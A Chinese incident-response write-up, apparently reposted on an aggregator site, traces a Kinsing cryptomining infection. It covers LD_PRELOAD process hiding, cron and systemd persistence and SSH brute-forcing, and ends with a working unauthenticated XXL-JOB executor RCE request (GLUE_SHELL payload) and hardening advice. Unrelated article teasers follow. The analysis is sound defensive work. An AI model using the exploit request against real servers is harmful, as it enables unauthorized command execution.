记一次被通报的挖矿事件应急响应

news2024/11/26 11:41:59

为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓

    • 01 事件背景介绍
    • 02 定位挖矿主机
    • 03 挖矿主机分析
    • 04 入侵路径梳理
    • 05 安全加固建议

01 事件背景介绍




某单位被上级单位通报,单位的出口IP和境外IP有异常通信行为,要求进行紧急处置。

在这里插入图片描述



02 定位挖矿主机


由于通报的是出口IP,确认究竟是内网哪台主机中招了,是我们下一步的重点。 若内网安全设备完善的情况下,一般可以去安全设备上查看告警日志定位问题主机。就算没有安全设备,也可以尝试在出口服务器或者出口路由器等设备上进行端口镜像和流量抓包定位具体主机。

但进一步了解后发现,单位出口IP下挂了上千台设备,又没有安全设备,这个时候即使是在出口设备人工抓包分析,也是很难准确定位到挖矿主机的。

那在这种情况下,涉事单位租借了安全设备进行挖矿主机的定位,一段时候后通过安全设备了解到内网DNS服务器有触发挖矿病毒告警事件。但目前不能明确判断就是DNS服务器被植入了挖矿病毒。

因为有可能是单位域内的DNS服务器向上级DNS服务器请求恶意的DNS地址,这时候不一定是域内的这台DNS服务器中招了,可能是内部的主机向域内DNS请求的这台中招了,这时候就要通过DNS日志进行定位。

实际情况中,基本DNS服务器是不会开启DNS解析日志的,如果在实际中确实是遇到了它是DNS服务器的情况,又不方便抓包的话,可以去找到路径开启日志记录,去监控一个周期,一天或者几个小时,看看日志里面有没有出现相关的恶意域名信息,然后去找到对应的受害主机。

在这里插入图片描述

而后通过DNS日志,明确内网存在数十台主机向DNS服务器请求恶意域名信息。选取其中一台主机进行具体分析。


03 挖矿主机分析


使⽤top等命令查看进程,未发现占⽤CPU过⾼的进程,怀疑攻击者使⽤了进程隐藏技术。

在这里插入图片描述
判断攻击者是否使用mount bind:X

我们知道ps、top等工具会读取/proc目录下获取进程信息,如果将进程ID的目录信息覆盖,则原来的进程信息将从ps的输出结果中隐匿。

使用cat /proc/$$/mountinfo 或者cat /proc/mounts 查看是否有利用mount -bind 将其它目录或文件挂载至/proc下的进程目录的情况,发现没有异常情况。

判断攻击者是否替换操作系统命令:X

攻击者可能通过替换系统中常见的进程查看工具(比如ps、top、lsof)的二进制程序,来实现进程隐藏。

使用stat命令查看文件状态并且使用md5sum命令查看文件hash,从干净的系统上拷贝这些工具的备份至当前系统,对比hash后发现一致,排除攻击者替换操作系统命令的可能性。

判断攻击者是否进行动态链接器劫持:✔

检查系统的 LD_PRELOAD 环境变量以及 /etc/ld.so.preload ⽂件,确认是否使⽤了动态链接器劫持的⼿法对进程实现隐藏。发现了异常的动态链接库⽂件"/etc/libsystem.so"

在这里插入图片描述


指定LD_PRELOAD取消加载异常的动态链接库⽂件"/etc/libsystem.so"后,使⽤busybox执⾏top命令,成功发现挖矿进程,对应的挖矿程序为“/tmp/kdevtmpfsi”:

在这里插入图片描述

查看挖矿程序时间信息,发现明显晚于通报时间,猜测挖矿程序进⾏了⾃更新等

在这里插入图片描述


同样使⽤busybox,发现挖矿⽊⻢守护程序 “/etc/kinsing” ,落地时间早于挖矿程序

在这里插入图片描述


检查系统的定时任务,包括/etc/cron.d/、/etc/crontab等⽬录以及⽂件,发现 “/var/spool/cron/root” ⽂件存在异常定时任务,⽂件修改时间早于挖矿程序时间

在这里插入图片描述


检查cron⽇志,发现执⾏的定期任务发⽣过改变,猜测是挖矿⽊⻢进⾏过版本更新。

在这里插入图片描述
再检查挖矿⽊⻢是否采⽤了开机启动的⽅式进⾏持久化,按时间对systemd系统的相关⽬录进⾏时间排序,发现异常⾃启动项bot.service,⽤于启动挖矿⽊⻢守护程序。修改时间为晚于挖矿⽊⻢守护程序落地时间。

查看/var/log/secure日志,发现存在大量某内网主机发起的SSH登录请求,且存在成功登录的记录。查看其余几台挖矿主机,发现相同时间节点前后也存在相关登录爆破日志,爆破时间早于挖矿⽊⻢守护程序落地时间。(下图为网络上类似SSH爆破日志截图)


对⼿头的信息以时间为主线进⾏整理,攻击者在内网进行SSH弱口令扫描,对存在弱口令的主机植入/etc/kinsing程序,挖矿⽊⻢守护程序落地后后,创建了/etc/libsystem.so进行动态链接器劫持,接着挖矿⽊⻢守护程序开启启动⽂件进行后门维持,创建定时任务远程下载挖矿程序,挖矿程序落地后向境外矿池IP发起请求,触发通报。

04 入侵路径梳理


通过上述分析,已明确内网存在某主机向同网段主机发起SSH弱口令扫描,现到该主机上进行入侵痕迹排查,排查发现:

该台主机的80、9999端⼝对公网开放。查看端⼝信息,发现80端⼝对应nginx服务,9999端⼝对应xxl-job执⾏器进程。

在这里插入图片描述

进一步查看nginx⽇志,分析发现存在对xxl-job的目录扫描行为。

在这里插入图片描述
结合上述端口开放情况以及Nginx日志记录,猜测攻击者有可能使⽤了xxl-job的远程命令执⾏漏洞获取服务器权限,于是进行漏洞验证。

向客户端发送如下数据包,尝试创建success文件:

POST /run HTTP/1.1
Host: xx.xx.xx.xx:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 365

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "touch /tmp/success",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

touch /tmp/success已成功执行,success文件已成功落地服务器

在这里插入图片描述
在这里插入图片描述

由此可以证实,攻击者确实是直接利⽤xxl-job执⾏器的9999端⼝的未授权远程命令执⾏漏洞植⼊了挖矿⽊⻢。并且上传了弱口令扫描工具对同网段进行SSH弱口令扫描,对存在弱口令的主机扩散挖矿守护进程。




05 安全加固建议


1、配置XXL-JOB executor认证,防止未授权的攻击者通过RESTful API执行任意命令。


2、及时清除病毒程序创建的定时任务、系统启动项,禁用挖矿守护进程以及清理挖矿程序文件。


3、及时修改内网存在的弱口令,确保密码强度符合要求,建议大小写字母+数字+特殊字符+8位以上。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/720607.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【MySQL】何为MySQL,一文告诉你答案

文章目录 前言Oracle(甲骨文公司)MySQL关系型数据库应用环境特性 前言 在认识JAVA一文中我们有谈到过收购Sun公司的Oracle(甲骨文公司)1,今天我们要介绍的MySQL就属于 Oracle 旗下产品。 Oracle(甲骨文公司…

远航汽车:坚持合作共赢经营理念 携手志同道合者共创美好未来

智能汽车时代,想要打造一款真正符合用户需求的新能源车,势必要具备硬核技术实力以及敢于突破、不断求变的思维,始终做到以用户为中心,打造属于自己的品牌核心力,才能从激烈的市场竞争中脱颖而出。在此背景下&#xff0…

【电路原理学习笔记】第2章:电压、电流和电阻:2.6 电路

第2章:电压、电流和电阻 2.6 电路 2.6.1 电流的方向 电流方向有两种说法,一种按电子流动方向,另一种是传统的认为从正极流出到负极,这本教材采用传统电流方法。(事传统派,维新派输了,1&#…

全新QQ架构的“NT”版来袭

最近,全新发布的"NT"架构的QQ迎来了更新,同时面向用户开放了下载渠道,有些用户戏称为NT为脑瘫版本(bushi)苏音体验了以后,描述为:清爽简约还很流畅。 先来看看原来的QQ与现在的NT版本…

【Linux】Selinux基本了解

文章目录 SElinux1.简介2.基本概念3.规则4.策略5.工作模式 SElinux 1.简介 SELinux是一个内核级别的安全机制,从Linux2.6内核之后就将SELinux集成在了内核当中。因为SELinux是内核级别的,所以我们对于其配置文件的修改都是需要重新启动操作系统才能生效…

仿真模拟-Abaqus2021、Abaqus2022 安装下载教程

ABAQUS 是一套功能强大的工程模拟的有限元软件,其解决问题的范围从相对简单的线性分析到许多复杂的非线性问题。 ABAQUS 包括一个丰富的、可模拟任意几何形状的单元库。并拥有各种类型的材料模型库,可以模拟典型工程材料的性能,其中包括金属、…

Addressable 资源管理全解

这里写目录标题 一、什么是Addresables二、导入Addressables三、创建Addressables Settings 资产包管理四、资源集合Group的基本操作(资源分包)五、设置远程资源包六、如何打包七、加载方式7-1. Mono脚本指定和实例化:7-2. 直接实例化指定物体…

Neo4j docker 部署

想要运行简单测试一下neo4j,就直接使用docker创建了一个容器,并用cypher-shell本地连接neo4j,创建图进行测试。 1 开启docker sudo systemctl start docker2 拉取镜像源 sudo docker pull neo4j # 默认latest版本3 查看本地镜像&#xff0…

二叉树之按之字形顺序打印二叉树

主要看队列的应用与了解,就是利用先进先出的特点。先把每个节点塞入队列,再根据先进先出的特点来把自身值传入一维vector数组中去。 /*** struct TreeNode {* int val;* struct TreeNode *left;* struct TreeNode *right;* TreeNode(int x) : val(x), l…

作为爬虫工程师,自动化和抓包你说不了解的selenium采集内容篇!

前言 作为爬虫工程师,掌握Selenium采集是非常有用的,因为有些网站采用了动态加载、javascript渲染或AJAX技术,这些技术使得使用传统的静态HTML解析库难以获取到完整的数据。Selenium是一个自动化测试工具,它可以模拟用户在浏览器…

java特征:多态性

文章目录 多态的形式和体现对象的多态性多态的理解举例**1、方法内局部变量的赋值体现多态****2、方法的形参声明体现多态****3、方法返回值类型体现多态** 成员变量没有多态性向上转型与向下转型为什么要类型转换如何向上或向下转型instanceof关键字 多态的形式和体现 对象的…

【电路原理学习笔记】第2章:电压、电流和电阻:2.4 电流

第2章:电压、电流和电阻 2.4 电流 电压为电子提供能量,使它们能够在电路中运动。在金属导体中,电子的运动就是电流,电流的存在意味着在电路中存在着做功的过程。 自由电子存在于导体和半导体中。这些价电子层上的电子可以从材料…

微信小程序数据绑定及渲染

微信开发文档&#xff1a;WXML | 微信开放文档 (qq.com) 数据绑定 简单数据绑定 小程序原生支持数据的双向绑定&#xff0c;在wxml文件里面可以使用 Mustache 语法(双{{ }}方法)绑定js文件中data里面的属性 示例&#xff1a; wxml文件内容&#xff1a; <view> {{ mess…

ChromaVerse专注于AIGC元宇宙产业

在元宇宙与互联网 3.0 概念的推动下&#xff0c;各种虚拟数字人扑面而来&#xff0c;AIGC 产业成为各方关注的重点。未来 AI 发展已经成为全球科技领域的热点和趋势。AI 技术的快速进步和广泛应用正在改变人们的生活和工作方式&#xff0c;为各行各业带来了巨大的机遇和挑战。在…

Jmeter接口测试,怎么在下一个接口调用上一个接口的数据

1、简介 Apache JMeter是Apache组织开发的基于Java的压力测试工具。用于对软件做压力测试&#xff0c;它最初被设计用于Web应用测试但后来扩展到其他测试领域。 它可以用于测试静态和动态资源例如静态文件、Java 小服务程序、CGI 脚本、Java 对象、数据库&#xff0c; FTP 服务…

MacOS在终端中使用sshpass命令登录服务器

MacOS在终端中使用sshpass命令登录服务器&#xff08;堡垒机&#xff09; sshpass 可以解决ssh时密码交互输入的麻烦。 目前堡垒机不支持密钥&#xff0c;使用sshpass命令可以较便捷地连接服务器。 sshpass -p password ssh -p 22 userftm.test.com# 注意user中如果有&…

SpringBoot 基于Redis的消息队列(基于发布订阅模型)

SpringBoot下Redis消息队列(基于发布订阅模型) 1. 什么是生产者/消费者模式&#xff1f; 消息队列一般是有两种场景 1、种是发布者订阅者模式 2、种是生产者消费者模式 生产者消费者模式 &#xff1a;生产者生产消息放到队列里&#xff0c;多个消费者同时监听队列&#xff0…

详解DNS协议!

前言 想要不同的计算机之间进行通信&#xff0c;是需要知道对方的IP的&#xff0c;可是为什么我们平时很少用到ip&#xff0c;而是用到域名这种东西呢&#xff1f; 其实主要是为了方便阅读&#xff0c;让我们记住一串的ip还不如记域名来的方便。 当我们访问域名的时候&#xf…

【MYSQL基础】基础知识了解

基础概念 数据库(DataBase&#xff0c;简称DB)&#xff0c;用于存储和管理大量数据的仓库。 数据库特点 持久化存储数据的。其实数据库就是一个文件系统方便存储和管理数据使用了统一的方式操作数据库-- SQL 数据库有哪些 MYSQL: 开源免费的数据库&#xff0c;小型的数据库…

初出茅庐的小李博客之链表知识1

链表知识1&#xff1a; 数组的特点&#xff1a; 空间连续&#xff0c;方便访问&#xff0c;只要知道首元素地址&#xff0c;就可以访问每个元素 数组的缺点&#xff1a; 需要提前分配固定大小的空间&#xff0c;一旦分配大小就不能改变 &#xff0c;空间分配小了不够用&…